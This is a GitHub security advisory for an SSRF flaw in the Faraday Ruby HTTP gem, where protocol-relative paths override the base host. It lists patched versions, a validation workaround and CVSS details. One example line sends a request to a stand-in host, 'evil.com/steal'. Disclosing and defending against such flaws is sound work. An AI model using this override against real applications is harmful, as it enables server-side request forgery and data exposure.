Skip to content

Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Moderate severity GitHub Reviewed Published Feb 7, 2026 in lostisland/faraday • Updated Feb 12, 2026

Package

bundler faraday (RubyGems)

Affected versions

>= 2.0.0, <= 2.14.0
>= 1.0.0, <= 1.10.4

Patched versions

2.14.1
1.10.5

Description

Impact

Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.

Example:

conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to
Faraday request methods. Specifically:

  • Reject or strip input that starts with // followed by a non-/ character
  • Use an allowlist of permitted path prefixes
  • Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation:

def safe_path(user_input)
  raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
  user_input
end

References

@iMacTia iMacTia published to lostisland/faraday Feb 7, 2026
Published to the GitHub Advisory Database Feb 9, 2026
Reviewed Feb 9, 2026
Published by the National Vulnerability Database Feb 9, 2026
Last updated Feb 12, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(3rd percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-25765

GHSA ID

GHSA-33mh-2634-fwr2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.